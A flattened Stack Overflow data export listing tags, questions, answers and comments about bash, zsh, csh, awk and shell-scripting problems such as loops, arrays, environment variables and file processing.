tags question: http://stackoverflow.com/q/76785544
tag name: fish
tags question: http://stackoverflow.com/q/76793056
tags question: http://stackoverflow.com/q/77168035
tags question: http://stackoverflow.com/q/77093883
tags question: http://stackoverflow.com/q/77384651
tags question: http://stackoverflow.com/q/77581770
tags question: http://stackoverflow.com/q/78250166
tags question: http://stackoverflow.com/q/78849181
tags question: http://stackoverflow.com/q/79227315
tags question: http://stackoverflow.com/q/79486990

http://stackoverflow.com/a/76757945
has comment: http://stackoverflow.com/comment/135322919
score: 2
answers question: http://stackoverflow.com/q/76756050
downvote count: 0
has body: I see you named the file containing your Python program test.ipynb. Which suggests you are running it in a Jupyter notebook or some other IDE. Mamba (like Anaconda) is a virtual environment manager. You have to activate a virtual environment to use it. Activation means updating env variables; most importantly PATH which is used to locate external commands. Env vars are private to each process so when you activate a Mamba environment in one shell it does not activate it in any other process. You could do what @pts suggested in their answer but I recommend not doing that. It's brittle and just introduces another source of confusing behavior. You will be better served by changing your workflow to launch your IDE from the shell where you activated the Mamba environment and otherwise learn to run any program that depends on a Mamba environment from that shell.
has comment: http://stackoverflow.com/comment/135323877
type: Answer
upvote count: 2

http://stackoverflow.com/comment/135533438
type: Comment
has text: @user1934428 - It's a file with 1077 lines. How to add such a file?
score: 0
comment on: http://stackoverflow.com/q/76855607
type: QuestionComment

http://stackoverflow.com/comment/135291068
has text: @tjm3772 function appears to work and does send a generated number, however it only generates once - any suggestions?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76739629
type: Comment

http://stackoverflow.com/comment/135360490
type: Comment
type: AnswerComment
score: 1
has text: Another technique is to use the environment to pass the data: `export pattern="..."` and then `'print if $F[0] ne $ENV{pattern}'`
comment on: http://stackoverflow.com/a/76774857

http://stackoverflow.com/comment/135474665
has text: you fix CRLF problems by running `dos2unix myBrokenScript`. ALSO `test` is a "resevered" word in most shells, including `csh`. so get in the habit of using `myTest` or TstR` or something else. ALSO, if those don't solve it, I kind of remember that the `(,)` parens need to be separated by spaces from both inside and out chars/syntax/vars/etc. (Not certain about that) ... But try `if ( $myTest != "" ) then` ... Good luck.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76845280

http://stackoverflow.com/comment/135276794
comment on: http://stackoverflow.com/q/76731251
score: 0
has text: apt only knows about things you installed using apt. That's normal and expected; if you install node using something other than apt, or you installed it under a different name (say, `node12`), then apt won't know that that's what you meant when you said "node".
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135370498
comment on: http://stackoverflow.com/q/76786021
type: QuestionComment
type: Comment
has text: though this is OS implementation dependent, so take with a pinch of salt
score: 0

http://stackoverflow.com/comment/135344542
score: 1
has text: BTW, don't use the `-e` argument to `echo`. Most of the time it's not needed, and in the cases where it _is_ needed, the correct alternative is to use `printf '%b\n' "string"` instead of `echo -e "string"`. See [Why is printf better than echo?](https://unix.stackexchange.com/questions/65803/why-is-printf-better-than-echo) on [unix.se], and the APPLICATION USAGE and RATIONALE sections of [the POSIX `echo` standard](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/echo.html#tag_20_37)
type: QuestionComment
comment on: http://stackoverflow.com/q/76771421
type: Comment

http://stackoverflow.com/comment/135499633
score: 0
type: QuestionComment
has text: @JohnBollinger It's tagged `ubuntu`.
type: Comment
comment on: http://stackoverflow.com/q/76855607

http://stackoverflow.com/a/76762297
score: 1
upvote count: 1
has body: You need some way to remember what you already saw. The most simple you could try is to store your msg in a file somewhere and the next time you get a message you diff it against your "state" file and only send a mail if there is something new. As a more advanced approach you could build your script around logtail. It can give you only the new lines of a log file since the last invocation. (on Debian it is its own package logtail) Or instead of scripting your own log watcher you can use an existing project like, for example logcheck.
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/76751024

http://stackoverflow.com/comment/135473775
type: Comment
type: AnswerComment
has text: What you described in your comments is different from needing "a variable with read and write privileges between all these scripts" as stated in your question so I've updated my answer.
score: 1
comment on: http://stackoverflow.com/a/76845841

http://stackoverflow.com/comment/135490774
score: 0
comment on: http://stackoverflow.com/a/76843948
type: Comment
type: AnswerComment
has text: @pjh it does make sense that it is a bash command and not a program called by bash. The command is in the bash man page. Thanks for pointing it out

http://stackoverflow.com/comment/135539556
has text: As for code review being an option -- the issue is not just needing to review and establish trust in the code that invokes gdb (though that's essential -- not just to make sure it's not actively malicious but also to make sure that it doesn't unintentionally enable injection attacks **which the code in this answer is in fact vulnerable to**), but also everything at the same privilege level as the invoking code.
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76855717

http://stackoverflow.com/comment/135376769
score: 0
comment on: http://stackoverflow.com/q/76790012
type: QuestionComment
has text: sorry "expect" was not the right word. It would have been helpful if I could find a way to change the parameter instead of changing the code. This code is just an example of what I'm trying to achieve. The idea is to path a command that could feed the one in the code.
type: Comment

http://stackoverflow.com/comment/135314874
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76752760
score: 0
has text: It seems like you might want to do most of this setup in the Dockerfile; use the `USER` directive there to select the non-root user; don't try to set up `.bashrc`; and reduce the entrypoint script to just `conda activate myenv && exec "$@"`. That would be a little more efficient and closer to standard Docker practice. It's not obvious to my why what you show wouldn't work, though.

http://stackoverflow.com/comment/135505830
has text: CSV? Where are the commas? Is this actually whitespace separated, with each column being a sequence of non-whitespace characters? I see the file of columns is CSV.
type: QuestionComment
type: Comment
score: 4
comment on: http://stackoverflow.com/q/76864396

http://stackoverflow.com/comment/135439931
type: Comment
type: QuestionComment
has text: Put a `pwd` command just before `chmod` command to see the current directory and check if `AnswerDebug.sh` is into
comment on: http://stackoverflow.com/q/76825083
score: 0

http://stackoverflow.com/comment/135349811
has text: You're welcome to ignore comments if they bother you -- but questions and their answers aren't just for the person who asked the question; we're building an educational resource here, a "long-tail FAQ" to quote one of Stack Overflow's founders. _You_ may not care if you're following nonportable practices, but _I_ care if I need to support someone who thought those practices were good ones to follow because they saw them go unchallenged in your post, and who then gets caught by the corner cases. (I care even more if I get hired somewhere you used to work and need to maintain your code).
score: 0
comment on: http://stackoverflow.com/q/76771421
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135334409
has text: If I run the "python" command and then manually run (example: >>> motor1.forward()) every single command works fine.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76765373

http://stackoverflow.com/comment/135354509
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76776995
has text: `for num in {01..30}`

set
type: Tag
tags question: http://stackoverflow.com/q/76783341
tag name: set
tags question: http://stackoverflow.com/q/78957925

http://stackoverflow.com/comment/135443004
type: Comment
type: AnswerComment
has text: No, I didn't. I used the toolbar button for entering code. When I click on it it says enter your code here which is what I did. That's what I always did and never had this problem before that I noticed. I will do it as described in the style guide for now on
comment on: http://stackoverflow.com/a/76817864
score: 0

http://stackoverflow.com/a/76754504
score: 0
type: Answer
answers question: http://stackoverflow.com/q/76751837
has body: Use readarray -d'}' to access the file as an array. Search for an element starting with Betty29 and unset that element. Then printf '%s' the whole "${array[@]}" as an output. unset_element() { local -r prefix="$1" local -a array local -i idx readarray -d'}' array unset 'array[-1]' # empty for idx in "${!array[@]}"; do [[ "${array[idx]}" = "${prefix}{"* ]] && unset 'array[idx]' || : done printf '%s' "${array[@]}" } Now let’s test it: input='Clara01{25 characters of info}' input+='Betty29{25 characters of info}' input+='Edith34{25 characters of info}' input+='Raji11{25 characters of info}' unset_element 'Betty29' <<< "$input" Output: Clara01{25 characters of info}Edith34{25 characters of info}Raji11{25 characters of info} Presumably, this removes all occurrences of Betty29. If you want to remove only the first one and make it “more efficient”, just add a break into the for-loop once the match is found.

http://stackoverflow.com/comment/135497796
type: QuestionComment
type: Comment
has text: Hi @glennjackman - updated that..
comment on: http://stackoverflow.com/q/76859636
score: 0

http://stackoverflow.com/comment/135477842
has text: I'm speculating that each command prefixed by `- ` is sent to `/bin/sh` individually. There may also be a way to get Codefresh to include newlines in a command, but it's not necessary here.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76848082

http://stackoverflow.com/a/76864649
has comment: http://stackoverflow.com/comment/135506186
has body: Solution in TXR Lisp: $ txr get.tl columns data PRODUCTCODE LV1P_DESCRIPTION BATCHID SITE PRD-0989 Estract BATCH01 Static PRD-0990 Xstract BATCH02 Static PRD-0991 8stract BATCH03 Static PRD-0992 errs BATCH04 Static PRD-0993 dgerrr BATCH05 Static PRD-0994 Narros BATCH06 Static PRD-0995 sef3r BATCH07 Static Files look like: $ cat columns PRODUCTCODE,LV1P_DESCRIPTION,BATCHID,SITE $ cat data PRODUCTCODE SITE BATCHID LV1P_DESCRIPTION PRD-0989 Static BATCH01 Estract PRD-0990 Static BATCH02 Xstract PRD-0991 Static BATCH03 8stract PRD-0992 Static BATCH04 errs PRD-0993 Static BATCH05 dgerrr PRD-0994 Static BATCH06 Narros PRD-0995 Static BATCH07 sef3r Code in get.tl: (match (@colfile @datafile) *args* (awk (:inputs datafile) (:let col-indices) ((= nr 1) (let ((wanted-cols (flow colfile file-get-lines first (spl ","))) (col-index-hash (hash-zip f 0))) (set col-indices (mapcar col-index-hash wanted-cols)))) (t [apply prn (mapcar f col-indices)]))) It looks as if the data might have been tab separated, and the tabs got converted to spaces, with a tab width of four. To output tab-separated, we can add a (:set ofs "\t") clause to the awk macro.
has comment: http://stackoverflow.com/comment/135506692
has comment: http://stackoverflow.com/comment/135506707
score: 0
answers question: http://stackoverflow.com/q/76864396
type: Answer
has comment: http://stackoverflow.com/comment/135506627

http://stackoverflow.com/comment/135342901
has text: Computers are precise, and precision is required when working with them. In this question, I would expect the output of your `uniq -c` to be in the order Brian, John, Lucius, Smith, but you show a different order. Are you asking how to retain the original order? or are you asking how to add double quotes around the first column?
score: 0
comment on: http://stackoverflow.com/q/76770292
type: QuestionComment
type: Comment

databricks
tags question: http://stackoverflow.com/q/76735566
tag name: databricks
type: Tag
tags question: http://stackoverflow.com/q/77631193
tags question: http://stackoverflow.com/q/77630728
tags question: http://stackoverflow.com/q/78116936

http://stackoverflow.com/comment/135267173
has text: When your c# application terminates all child processes are also terminated. Also a process that is running will give an exception and terminate if there is no standard input or standard output. In linux you can redirect standard output to null to prevent and exception. See also : https://learn.microsoft.com/en-us/dotnet/api/system.threading.thread?view=net-7.0#foreground-and-background-threads
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76724923

http://stackoverflow.com/a/76772660
downvote count: 0
answers question: http://stackoverflow.com/q/76772024
has body: I actually figured this out with just a minor tweak, I changed: MeetingTitles=("${(@f)$(icalbuddy -ic Family -nc -iep title eventsFrom:"$CurrentDate $CurrentHour:00:00 +01:00" to:"$CurrentDate $CurrentHour:59:59 +01:00" | cut -c 5-)}") to: MeetingTitles=(${(f)"$(icalbuddy -ic Family -nc -iep title eventsFrom:"$CurrentDate $CurrentHour:00:00 +01:00" to:"$CurrentDate $CurrentHour:59:59 +01:00" | cut -c 5-)"}) It is a subtle change - replace ("${(@f)$(command)}") with (${(f)"$(command)"}) which causes it to skip empty lines and thus not create an array if the output is empty (because the first line will always be empty). Not sure if it is the most elegant solution - but it seems to be working.
score: 1
upvote count: 1
type: Answer

http://stackoverflow.com/comment/135434180
score: 1
has text: ...as a very minimal enhancement that doesn't require file locking but does still suffice to make this safer, _at least_ consider `echo "$1" >/path/to/.rc."$$" && mv /path/to/.rc."$$" /path/to/.rc` -- that way when you open the file for read you get a handle on one specific copy that has fully been written, and if a new write is underway it doesn't change the contents of the copy you're reading.
comment on: http://stackoverflow.com/a/76823094
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135482290
comment on: http://stackoverflow.com/q/76850146
has text: @user1934428 I would say it's the result of **#5** from https://pubs.opengroup.org/onlinepubs/9699919799/utilities/cd.html _"If the pathname is null, test if the concatenation of dot, a `slash` character, and the operand names a directory"_
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/135506657
type: QuestionComment
score: 0
has text: `printf ".mode csv\n.headers on\n.import data.csv t\nselect $(<columns.csv) from t;" | sqlite3` or `.mode tabs` if the data is tab-separated rather than by commas
comment on: http://stackoverflow.com/q/76864396
type: Comment

http://stackoverflow.com/comment/135434648
has text: _grumbles about questions so broad that (a huge swath of) tool recommendations are reasonable as answers, and tries to suppress an urge to shill for sqlite_
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76823317
score: 1

http://stackoverflow.com/a/76855827
has body: You can create processes by placing a command or block of code in the background with & and then wait for them to finish. Example: time { # measure the time it takes to finish all lookups in parallel for box in "${BOXES[@]}"; do for (( j=0; j < NODE_PER_BOX; j++ )); do { res=$(curl -s http://ip:port/api) # HERE I NEED TO CHECK FOR THE CONDITION, NOT DONE YET # Write the result of the condition check to a unique file per query: echo "$res" > "${box}_${j}.res" } & # & puts the job in a background process done done wait # wait until all jobs are done } # end of time measuring block # read all the result files here
has comment: http://stackoverflow.com/comment/135491163
answers question: http://stackoverflow.com/q/76855754
type: AcceptedAnswer
score: 2
accepted answer of: http://stackoverflow.com/q/76855754
downvote count: 0
has comment: http://stackoverflow.com/comment/135491155
type: Answer
upvote count: 2

http://stackoverflow.com/comment/135423881
type: Comment
comment on: http://stackoverflow.com/q/76813826
score: 0
has text: In your script, you assign to a variable named `f`, which you never use. While this is not forbidden, doing so nearly always points to an error in logic. Why are you looping over files, if you then don't use the filenames?
type: QuestionComment

http://stackoverflow.com/comment/135452956
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76831000
has text: Since you asked for an example of where the two would make a difference: Do a `cmd='echo $HOME'` and then try `$cmd` and `eval $cmd`.
score: 0

job-control
type: Tag
tags question: http://stackoverflow.com/q/76741997
tags question: http://stackoverflow.com/q/76749128
tag name: job-control
tags question: http://stackoverflow.com/q/77329519
tags question: http://stackoverflow.com/q/79215566

http://stackoverflow.com/comment/135404960
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76806494
score: 1
has text: As for the question directly asked -- `${LIST_DOCS}` evaluates to `${LIST_DOCS[0]}`; it ignores everything but the very first array element. Bash doesn't have any construct that does exactly what you want -- `*."${LIST_DOCS[@]}"` would evaluate to `*.'doc' 'docx' 'pdf' 'txt'`, with the `*.` only coming before `doc` -- so you'll want to iterate over the array explicitly.

http://stackoverflow.com/q/76868047
tagged with: shell
tagged with: bash
has title: Increase the index by one in bash script
favorite count: 0
has comment: http://stackoverflow.com/comment/135512165
score: 2
has body: I have a rather simple shell script with a rather basic problem. I have multiple files that follow this convention: TOTAL_summer_2003-06-01.nc TOTAL_summer_2003-06-02.nc TOTAL_summer_2003-06-03.nc TOTAL_summer_2003-06-04.nc TOTAL_summer_2003-07-01.nc TOTAL_summer_2003-07-02.nc TOTAL_summer_2003-07-03.nc TOTAL_summer_2003-07-04.nc TOTAL_summer_2003-08-01.nc TOTAL_summer_2003-08-02.nc TOTAL_summer_2003-08-03.nc TOTAL_summer_2003-08-04.nc I hope the structure is clear, there is an increase in month and day. Now I would like to subtract the previous day from the following day by using cdo. If I put it in single lines, it would look like this: cdo sub TOTAL_summer_2003-06-02.nc TOTAL_summer_2003-06-01.nc RAIN_summer_2003-06-01.nc cdo sub TOTAL_summer_2003-06-03.nc TOTAL_summer_2003-06-02.nc RAIN_summer_2003-06-02.nc cdo sub TOTAL_summer_2003-06-04.nc TOTAL_summer_2003-06-03.nc RAIN_summer_2003-06-03.nc I guess the pattern is clear. Of course this can be done by using a loop, which I tried this way: for i in `seq 6 8` do for j in 0{1,2,3,4} do cdo sub TOTAL_summer_2003-0${i}-${j+1}.nc TOTAL_summer_2003-0${i}-${j}.nc RAIN_summer_2003-0${i}-${j}.nc done done But this does not work since the ${j+1} does not do what I want. I need it to be one higher than the actual j value. If the echo command is added to the script instead of cdo sub it returns the following: TOTAL_summer_2003-06-1.nc TOTAL_summer_2003-06-01.nc RAIN_summer_2003-06-01.nc TOTAL_summer_2003-06-1.nc TOTAL_summer_2003-06-02.nc RAIN_summer_2003-06-02.nc TOTAL_summer_2003-06-1.nc TOTAL_summer_2003-06-03.nc RAIN_summer_2003-06-03.nc TOTAL_summer_2003-06-1.nc TOTAL_summer_2003-06-04.nc RAIN_summer_2003-06-04.nc TOTAL_summer_2003-07-1.nc TOTAL_summer_2003-07-01.nc RAIN_summer_2003-07-01.nc TOTAL_summer_2003-07-1.nc TOTAL_summer_2003-07-02.nc RAIN_summer_2003-07-02.nc TOTAL_summer_2003-07-1.nc TOTAL_summer_2003-07-03.nc RAIN_summer_2003-07-03.nc TOTAL_summer_2003-07-1.nc TOTAL_summer_2003-07-04.nc RAIN_summer_2003-07-…
upvote count: 2
has answer: http://stackoverflow.com/a/76873884
has comment: http://stackoverflow.com/comment/135512610
accepted answer: http://stackoverflow.com/a/76868232
downvote count: 0
type: Question
has answer: http://stackoverflow.com/a/76870046
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76868232
possible better answer: http://stackoverflow.com/a/76870046
answer count: 3

http://stackoverflow.com/comment/135283903
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76734936
score: 0
has text: You just show us that your PATH/path is obviously wrong. Why don't you simply fix it by setting it to a reasonable value?

http://stackoverflow.com/comment/135392915
type: QuestionComment
type: Comment
has text: An IP is a uint (4 bytes) with each field being a byte (0 to FF or 0 to 255). So 172.28.X.X is 0xAC1C0000. The only way of telling for sure if an address is used is to make a table of assigned IP. Doing a ping will only work if a device is turned on.
comment on: http://stackoverflow.com/q/76792437
score: 0

http://stackoverflow.com/comment/135434174
comment on: http://stackoverflow.com/q/76823093
score: 0
has text: "Best way", "best practice", &c are generally broad and opinion-based, since what's "best" depends on priorities/requirements/use-case details. Someone concerned about a high-concurrency application will have _very_ different concerns from someone who just wants to persist a value between runs but can tolerate that value being lost in the event of an error.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135387937
type: Comment
has text: @jdweng # Retrieve the existing subnets in the virtual network $existingSubnets = $virtualNetwork.Subnets # Find a free IP CIDR range for the new subnet $availableCIDR = $null for ($i = 32; $i -le 29; $i++) { $proposedCIDR = "172.28.$i.0/$i" $availableCIDR = Get-FreeIPCIDRRange -subnetAddressPrefix $proposedCIDR -existingSubnets $existingSubnets if ($availableCIDR -ne $null) { break } } # Check if a free IP CIDR range was found if ($availableCIDR -ne $null) { Write-Host "A free IP CIDR range is available: $availableCIDR" } else {
comment on: http://stackoverflow.com/q/76792437
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135299955
has text: `find` is running into an error, but the `2>/dev/null` hides the error message. Since `find` exits with an error status, the `||` makes the `echo` command run. Remove the `2>/dev/null` to see what's causing the error.
type: QuestionComment
comment on: http://stackoverflow.com/q/76744886
score: 2
type: Comment

http://stackoverflow.com/q/76781297
score: 0
has comment: http://stackoverflow.com/comment/135361918
tagged with: shell
answer count: 0
tagged with: linux
tagged with: bash
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135364554
has comment: http://stackoverflow.com/comment/135364271
type: Question
has comment: http://stackoverflow.com/comment/135361810
has title: How do I merge %denelli-0[1-5]d\.example\.com to an existing bash code e.g HOST=%denelli-0[1-5]p\.example\.com so it appears as one line only?
has body: How do I merge %denelli-0[1-5]d.example.com to an existing bash code e.g HOST=%denelli-0[1-5]p.example.com so it appears as one line only? In this list of hosts, the p stands for PROD and the d stands for DEV. I need to harmonize both the DEV and PROD servers on same code but I tried HOST=%denelli-0[1-5][dp].example.com on my code but it had an error still. How can I get this to include all the list of servers on the DEV and PROD environment? I tried HOST=%denelli-0[1-5][dp].example.com on my code but it had an error still. How can I get this to include all the list of servers on the DEV and PROD environment?

http://stackoverflow.com/a/76782609
score: 3
accepted answer of: http://stackoverflow.com/q/76782298
type: AcceptedAnswer
upvote count: 3
downvote count: 0
answers question: http://stackoverflow.com/q/76782298
type: Answer
has body: Deno uses Rust's std:process::Command Note that the argument is not passed through a shell, but given literally to the program. This means that shell syntax like quotes, escaped characters, word splitting, glob patterns, substitution, etc. have no effect. So in order to use * you'll need to spawn a shell (sh, bash) as Glenn Jackman commented. new Deno.Command("sh", { args: ["-c", "cp source/* destination"] }).outputSync()

http://stackoverflow.com/comment/135474357
comment on: http://stackoverflow.com/q/76845788
type: QuestionComment
has text: See: [Why does shell ignore quoting characters in arguments passed to it through variables](https://stackoverflow.com/questions/12136948/why-does-shell-ignore-quoting-characters-in-arguments-passed-to-it-through-varia) and [BashFAQ/050 - I'm trying to put a command in a variable, but the complex cases always fail!](http://mywiki.wooledge.org/BashFAQ/050)
type: Comment
score: 1

http://stackoverflow.com/comment/135288166
type: Comment
has text: Use arrays. (Also, avoid uppercase variable names; they are (by convention) reserved for environment variables, which you don’t want to change in most cases.)
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76718520

http://stackoverflow.com/comment/135490829
score: 1
comment on: http://stackoverflow.com/a/76855717
type: Comment
type: AnswerComment
has text: Requiring the user to `eval` a command's output to set variables in the parent is good enough for the rest of the world, including widely deployed tools like `ssh-agent` -- so in the real world this is a constraint users put up with; in return, they get tools that use standard interfaces and work portably, including in environments where gdb isn't usable (think MacOS, or systems where ptrace is disabled for security reasons).

http://stackoverflow.com/comment/135464258
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76839623
score: 0
has text: I played around further, and when I changed the display preset to `Internet & Web (sRGB)` from the default `Apple XDR Display (P3-1600 nits)`, the difference disappeared, but the display is now difficult to look at. And I still don't understand why `CreatePDF` and `ImageMagick` do things differently...

http://stackoverflow.com/comment/135347691
has text: Ah yes, that was I was going for, but failed at, I should have escaped the ( )'s.
comment on: http://stackoverflow.com/a/76773101
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135482143
comment on: http://stackoverflow.com/q/76850581
has text: Updated question with real values you could try in a script
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135438394
comment on: http://stackoverflow.com/q/76823093
score: 0
has text: Another idea which comes to my mind: You represent the "variable" by a demon process which offers a socket interface. Whenever a client process needs the content of the variable, it connects via the socket and asks for its value. This assumes that one process is responsible for managing the variable, and the other processes are just reading the value.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135534732
has text: That is when my shell script finishes, does the environment variable return to its previous value?I don't think so
comment on: http://stackoverflow.com/q/76881285
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76788798
has body: You can try something like: awk '{for(i=1;i<=10;i++) printf "P%g_1.fq.gz, P%g_2.fq.gz\n", i}' just ordinary awk loop. One more option in bash for (( i=1; i <= 10; i++ )) do echo "P${i}_1.fq.gz, P${i}_2.fq.gz" done
downvote count: 0
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/76788674

http://stackoverflow.com/comment/135262775
comment on: http://stackoverflow.com/a/76720707
score: 0
has text: Thanks Renaud! This is working. However, I have another problem here. How do I skip intermediate subdirectories in find command. The location of subdirectories mentioned in the text will be : base_path/ **random_dir** /sub_dir1. I want to skip this random_dir while using find command
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135301927
score: 0
type: QuestionComment
type: Comment
has text: In an ipython session In `!python3 -h` displays its help. And if `astr = 'python3'`, then `!$astr -h` does the same. This short for magic `%sx` or `%system` .
comment on: http://stackoverflow.com/q/76745733

http://stackoverflow.com/a/76877787
score: -3
has comment: http://stackoverflow.com/comment/135528692
has body: To format the text as you've described, with a space before each hyphen, you can modify your existing command slightly. Here's how you can do it: echo &quot;$(sed ':a;N;$!ba;s/\n/ - /g' file.txt | tr -d &quot;-&quot;)&quot; This command will give you the desired output: the quick brown - fox jumps over - the lazy dog
answers question: http://stackoverflow.com/q/76877760
downvote count: 3
type: Answer
upvote count: 0

http://stackoverflow.com/comment/135342583
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76770023
has text: @user1934428 - I haven't try this .. does it support floating? do we have any method to convert string to float ... could you share one exmaple
score: 0

http://stackoverflow.com/comment/135345273
has text: @PiotrŻak, on DOS/Windows, lines of text are separated with a CRLF sequence -- first a `\r`, then a `\n`, between _every_ two lines you save in a text file. In UNIX it's only a LF -- only `\n` -- with no CR. When you print a CR it sends the cursor to the left column of the line it's already on, when you print a LF it sends the cursor down to the next line (and on a UNIX terminal with default configuration, _also_ sends it to the left, whereas on a default DOS/Windows terminal it moves the cursor only down but not over)
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76771280

http://stackoverflow.com/comment/135327559
has text: @Shawn I did read about it. I have a basic idea...
comment on: http://stackoverflow.com/a/76760214
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135317918
type: QuestionComment
type: Comment
has text: @DavidMaze: I don't want to use `USER` as in reality I am also mounting a volume and need to match uid/gid to avoid file permission issues (https://denibertovic.com/posts/handling-permissions-with-docker-volumes/) What I posted above is a simplified example of my problem, I need to delegate all the user-related stuff to the entrypoint for the volume stuff to work. Many thanks!
score: 0
comment on: http://stackoverflow.com/q/76752760

imagemagick
tags question: http://stackoverflow.com/q/76839109
type: Tag
tag name: imagemagick
tags question: http://stackoverflow.com/q/77398351
tags question: http://stackoverflow.com/q/78059818
tags question: http://stackoverflow.com/q/79287921

http://stackoverflow.com/a/76771486
type: AcceptedAnswer
has body: You can escape the exclamation mark with a backslash, just like that: echo -e "#\!/bin/bash" > test.sh echo -e "cat $1" >> test.sh
has comment: http://stackoverflow.com/comment/135348216
downvote count: 0
has comment: http://stackoverflow.com/comment/135348354
accepted answer of: http://stackoverflow.com/q/76771421
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/135348551
answers question: http://stackoverflow.com/q/76771421

csh
tags question: http://stackoverflow.com/q/76845280
type: Tag
tag name: csh
tags question: http://stackoverflow.com/q/77015974
tags question: http://stackoverflow.com/q/77258900
tags question: http://stackoverflow.com/q/77277941
tags question: http://stackoverflow.com/q/77788358
tags question: http://stackoverflow.com/q/78160403
tags question: http://stackoverflow.com/q/78174113
tags question: http://stackoverflow.com/q/78669980
tags question: http://stackoverflow.com/q/79151191

http://stackoverflow.com/a/76758402
answers question: http://stackoverflow.com/q/76722348
has body: A "C style" solution, works with any Awk: $ cat data.txt 2.22 22.22 222.22 2222.22 22222.22 222222.22 2222222.22 $ cat filter.awk { len = split( $0, a, "" ) for ( i = len; i > 0; i-- ) # traverse the record character by character, { #> in reverse: -> 22.2222222 -> n++ m++ if ( n == 3 ) # n: comma position counter: { #> 3rd pos? replace the dot with comma a[i] = "," m -= 4 # m: dot position counter: } #> decreased to -1 at the 3rd pos, will be 3 at the 7th pos if (( n > 6 ) && ( m % 3 == 0 )) # we are at the 7th pos, time to insert a dot { rec = "." rec # to get the reversed record right, build it in reverse } rec = a[i] rec # ditto } print rec len = i = n = m = rec = "" } $ awk -f filter.awk data.txt 2,22 22,22 222,22 2.222,22 22.222,22 222.222,22 2.222.222,22
score: 0
type: Answer

http://stackoverflow.com/comment/135348365
type: Comment
comment on: http://stackoverflow.com/q/76772789
score: 0
has text: `if (p != NULL) free(p);` is an antipattern. It is perfectly safe (and has no effect) to free a null pointer, so at minimum that is excessively verbose. But it also conveys the impression that non-null pointers must be safe to free, which is not inherently true. Instead, just `free(p)` unconditionally.
type: QuestionComment

http://stackoverflow.com/comment/135310570
type: Comment
comment on: http://stackoverflow.com/q/76751024
has text: Is test.log a single file or a directory? `find` is for finding files, not lines in a file. But it looks like XY-problem. If the service is running by systemd, maybe it is better to use journalctl?
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135291191
type: QuestionComment
has text: If you don't want to reassign the variable in between curls you can embed the function call into the string directly like: `curl -X POST "127.0.0.1:2020/send-tr" -H "Content-Type: application/json" -d '{"loc":"AAVV01JH01", "tr":"'$(random)'"}'`
score: 2
comment on: http://stackoverflow.com/q/76739629
type: Comment

http://stackoverflow.com/comment/135340931
comment on: http://stackoverflow.com/a/76762847
type: Comment
type: AnswerComment
score: 0
has text: Could you try this syntax `pytest -v -k "postTest_case2" tests`? Can you share error message if you get one?

http://stackoverflow.com/a/76810427
accepted answer of: http://stackoverflow.com/q/76809700
type: Answer
score: 0
answers question: http://stackoverflow.com/q/76809700
has body: As the first comment says I missed the -E option to use extended (modern) regex. find -E ./assets -regex '.*\.(png|jpg)'
type: AcceptedAnswer

http://stackoverflow.com/comment/135448334
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76831000
has text: See https://stackoverflow.com/questions/13365553/setting-an-argument-with-bash
score: 0

http://stackoverflow.com/comment/135481782
comment on: http://stackoverflow.com/q/76850581
has text: Use a proper YAML parser like yq and get the values of the node and the URL and iterate it over a shell loop and run the commands needed
score: 2
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/135384816
score: 1
comment on: http://stackoverflow.com/q/76793056
type: QuestionComment
type: Comment
has text: FWIW, The [Elvish shell](https://elv.sh) is multithreaded and exhibits the desired behavior. Here is the Elvish equivalent of your Bash example: `{ echo abc; sleep 2; echo def } | each {|l| echo $l "has been piped" }`.

visual-studio
type: Tag
tag name: visual-studio
tags question: http://stackoverflow.com/q/76837122
tags question: http://stackoverflow.com/q/77891719
tags question: http://stackoverflow.com/q/78839844
tags question: http://stackoverflow.com/q/79332257

http://stackoverflow.com/comment/135418556
type: Comment
comment on: http://stackoverflow.com/q/76813452
type: QuestionComment
score: 1
has text: There you are, now you know `HOST` doesn't exist as an environment variable. Zsh doesn't follow POSIX standards (which is why I refuse to use it), but even if it did it would be allowed to synthesize its own builtin variables in that all-caps reserved namespace. (As it is, zsh ignores the standard and also has special names _outside_ the reserved namespace as well).

http://stackoverflow.com/comment/135308290
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76744886
has text: Basically, 'find' is a part of a script that takes the variable $REPLY ( usr/bin is just used as an example ) and checks if the directory exist. If so, it makes a backup of that directory.

status
tags question: http://stackoverflow.com/q/76772789
